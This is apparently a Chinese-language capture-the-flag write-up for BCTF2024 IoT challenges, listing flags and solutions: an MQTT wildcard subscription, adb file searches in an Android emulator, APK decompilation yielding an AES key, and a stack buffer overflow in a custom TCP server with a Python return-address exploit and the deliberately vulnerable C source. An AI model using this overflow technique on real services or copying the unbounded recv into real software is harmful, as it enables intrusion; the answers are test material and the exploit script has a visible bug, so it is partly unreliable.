# BCTF2024-IOT

# 常见的 IOT 通信协议

题目

常见的 IOT 通信协议

example.com:8001

答案

flag{a2467320ce0f9bc6fda0a1f714e49933}

题解

brew install mosquitto

mosquitto_sub -h example.com -p 8001 -t "#"

# EasyAndroidEmulator

题目

  1. 环境要求:x86_64,java17
  2. 根据以下资源与提示运行一个 Android 模拟器:
    Android Studio:https://developer.android.com/studio
    SDK Tools:Android SDK Command-line Tools、Android SDK-Platform-Tools、Android Emulator
    SDK Updates Sites: 文件 bctf-sys-img2-1-0.xml
    sdkmanager: https://developer.android.com/tools/sdkmanager
    avdmanager: https://developer.android.com/tools/avdmanager
    emulator: https://developer.android.com/studio/run/emulator-commandline
  3. 题目镜像:"system-images;android-33;bctf-easy-android-emu;x86_64"
  4. 运行成功通过 adb 获取 flag
答案

flag{RN15l3IyVPzdBOaQC5XUkW4q8r26WA47}

题解

下载 android-studio
安装 剩下的东西

搭建环境,启动模拟器

adb devices
adb shell

find / -name "flag*" 2>/dev/null

找到路径
执行 /bin/flag

# encryption

题目

  1. 环境:与 easy-android-emu 同样的基本环境。
  2. 题目镜像:"system-images;android-33;bctf-encryption;x86_64"
答案

flag{tf4Lsa4KB99x1CmU1raGwuzcA7Pm1sCL}

题解
按照上一题的解法,打开模拟器后

adb devices
adb shell


# 找到文件
find / -name "*encryption*" 2>/dev/null


adb pull /product/app/encryption/encryption.apk
adb pull /product/app/encryption/oat/x86_64/encryption.odex
adb pull /product/app/encryption/oat/x86_64/encryption.vdex


# 下载apktool 进行解密
# https://juejin.cn/post/7158107697907236878


搜索 flag 
找到 encryption/smali/com/bctf/encryption/EncryptionService.smali


加密串 z++f9Pms0o2J6j9wYyvHeGvi3lhbLqbOUVdXPmNeLFQIHSYoF+gnmRscOO8OzCUD
pkcs7
密钥 bctfbctfbctfbctf

# EasyPrivateNetworkProtocol

题目

私有网络协议分析
example.com:8888
https://twelveeee-note.oss-cn-beijing.aliyuncs.com/file/bctf2024/iot_challenge

答案

差一点做出来

flag{0Njb867t0ppd79Mel8XYP8Ms9UeptGNX}

题解

IDA 读 二进制文件

发现几个函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  socklen_t addr_len; // [esp+0h] [ebp-34h] BYREF
  struct sockaddr v5; // [esp+4h] [ebp-30h] BYREF
  struct sockaddr addr; // [esp+14h] [ebp-20h] BYREF
  int v7; // [esp+24h] [ebp-10h]
  int fd; // [esp+28h] [ebp-Ch]
  int *p_argc; // [esp+2Ch] [ebp-8h]
  p_argc = &argc;
  addr_len = 16;
  fd = socket(2, 1, 0);
  if ( fd < 0 )
  {
    perror("socket");
    exit(1);
  }
  addr.sa_family = 2;
  *(_DWORD *)&addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x22B8u);
  if ( bind(fd, &addr, 0x10u) < 0 )
  {
    perror("bind");
    close(fd);
    exit(1);
  }
  if ( listen(fd, 5) < 0 )
  {
    perror("listen");
    close(fd);
    exit(1);
  }
  printf("Server listening on port %d\n", 8888);
  while ( 1 )
  {
    v7 = accept(fd, &v5, &addr_len);
    if ( v7 < 0 )
      break;
    handle_client(v7);
  }
  close(fd);
  return 0;
}
int __cdecl handle_client(int fd)
{
  size_t n; // [esp+8h] [ebp-50h] BYREF
  int buf; // [esp+Ch] [ebp-4Ch] BYREF
  char v4[68]; // [esp+10h] [ebp-48h] BYREF
  printf("client_sock: %d\n", fd);
  if ( recv(fd, &buf, 4u, 0) > 0 )
  {
    if ( buf == -559038737 )
    {
      if ( recv(fd, &n, 4u, 0) <= 0 || recv(fd, v4, n, 0) <= 0 )
      {
        perror("recv");
        return close(fd);
      }
      else
      {
        return printf("Received content: %s\n", v4);
      }
    }
    else
    {
      puts("Invalid magic number");
      return close(fd);
    }
  }
  else
  {
    perror("recv");
    return close(fd);
  }
}

还有一个定义了但是没有使用的方法

// address 0x08049266
void __cdecl get_flag(int fd)
{
  size_t v1; // eax
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  FILE *stream; // [esp+8Ch] [ebp-Ch]
  stream = fopen("flag", "r");
  if ( stream )
  {
    if ( fgets(s, 128, stream) )
    {
      fclose(stream);
      v1 = strlen(s);
      send(fd, s, v1, 0);
      close(fd);
    }
    else
    {
      perror("fgets");
      fclose(stream);
    }
  }
  else
  {
    perror("fopen");
  }
}

先接收 magic number

( recv(fd, &n, 4u, 0) <= 0 || recv(fd, v4, n, 0) <= 0 )
import socket
import struct
MAGIC = 0xdeadbeef
SIZE = 128
CONTENT = b""
CONTENT += b'A' * (0x48 + 0x4) 
CONTENT += struct.pack('<I', 0x08049266) # get_falg 的地址
CONTENT += struct.pack('<I', 4) # 
CONTENT += struct.pack('<I', 4) # client sock
def exploit():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((example.com, 8888))
        s.sendall(MAGIC.to_bytes(4, 'little'))
        s.sendall(SIZE.to_bytes(4, 'little'))
        s.sendall(CONTENT)
        flag = s.recv(128)
        print("Received flag:", flag.decode())
if __name__ == "__main__":
    exploit()

找出题的同学要了源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#define MAGIC 0xdeadbeef
#define FLAG_FILE "flag"
#define PORT 8888
void get_flag(int client_sock) {
    FILE *file = fopen(FLAG_FILE, "r");
    if (file == NULL) {
        perror("fopen");
        return;
    }
    char flag[128];
    if (fgets(flag, sizeof(flag), file) == NULL) {
        perror("fgets");
        fclose(file);
        return;
    }
    fclose(file);
    send(client_sock, flag, strlen(flag), 0);
    
    close(client_sock);
}
void handle_client(int client_sock) {
    char buffer[64];
    unsigned int magic;
    unsigned int size;
    printf("client_sock: %d\n", client_sock);
    // 读取 magic 字段
    if (recv(client_sock, &magic, sizeof(magic), 0) <= 0) {
        perror("recv");
        close(client_sock);
        return;
    }
    // 检查 magic 字段
    if (magic != MAGIC) {
        printf("Invalid magic number\n");
        close(client_sock);
        return;
    }
    // 读取 size 字段
    if (recv(client_sock, &size, 4, 0) <= 0) {
        perror("recv");
        close(client_sock);
        return;
    }
    // 读取 content 字段
    if (recv(client_sock, buffer, size, 0) <= 0) {
        perror("recv");
        close(client_sock);
        return;
    }
    // 处理 content 字段
    printf("Received content: %s\n", buffer);
}
/**
 * @description
 * 实现一个服务器程序,使用 TCP 协议监听指定的端口,并处理来自客户端的连接请求。
 * 服务器会打印出 "Server listening on port XXXX",其中 XXXX 是端口号,然后进入死循环等待客户端的连接。
 * 当有新的客户端连接时,服务器会调用 handle_client 函数处理该连接。
 * 如果发生错误,则输出相应的错误信息并退出程序。
 *
 * @param {boolean} isClientConnected
 * 表示是否已经连接到了客户端,默认为 false。
 *
 * @returns {number}
 * 返回一个整数,表示服务器监听的端口号。
 */
int main() {
    int server_sock, client_sock;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_addr_len = sizeof(client_addr);
    // 创建套接字
    server_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (server_sock < 0) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
    // 绑定地址和端口
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);
    if (bind(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind");
        close(server_sock);
        exit(EXIT_FAILURE);
    }
    // 监听连接
    if (listen(server_sock, 5) < 0) {
        perror("listen");
        close(server_sock);
        exit(EXIT_FAILURE);
    }
    printf("Server listening on port %d\n", PORT);
    // 接受客户端连接
    while ((client_sock = accept(server_sock, (struct sockaddr *)&client_addr, &client_addr_len)) >= 0) {
        handle_client(client_sock);
    }
    close(server_sock);
    return 0;
}
gcc -o iot_challenge main.c -fno-stack-protector -z execstack -no-pie -m32
更新于
-->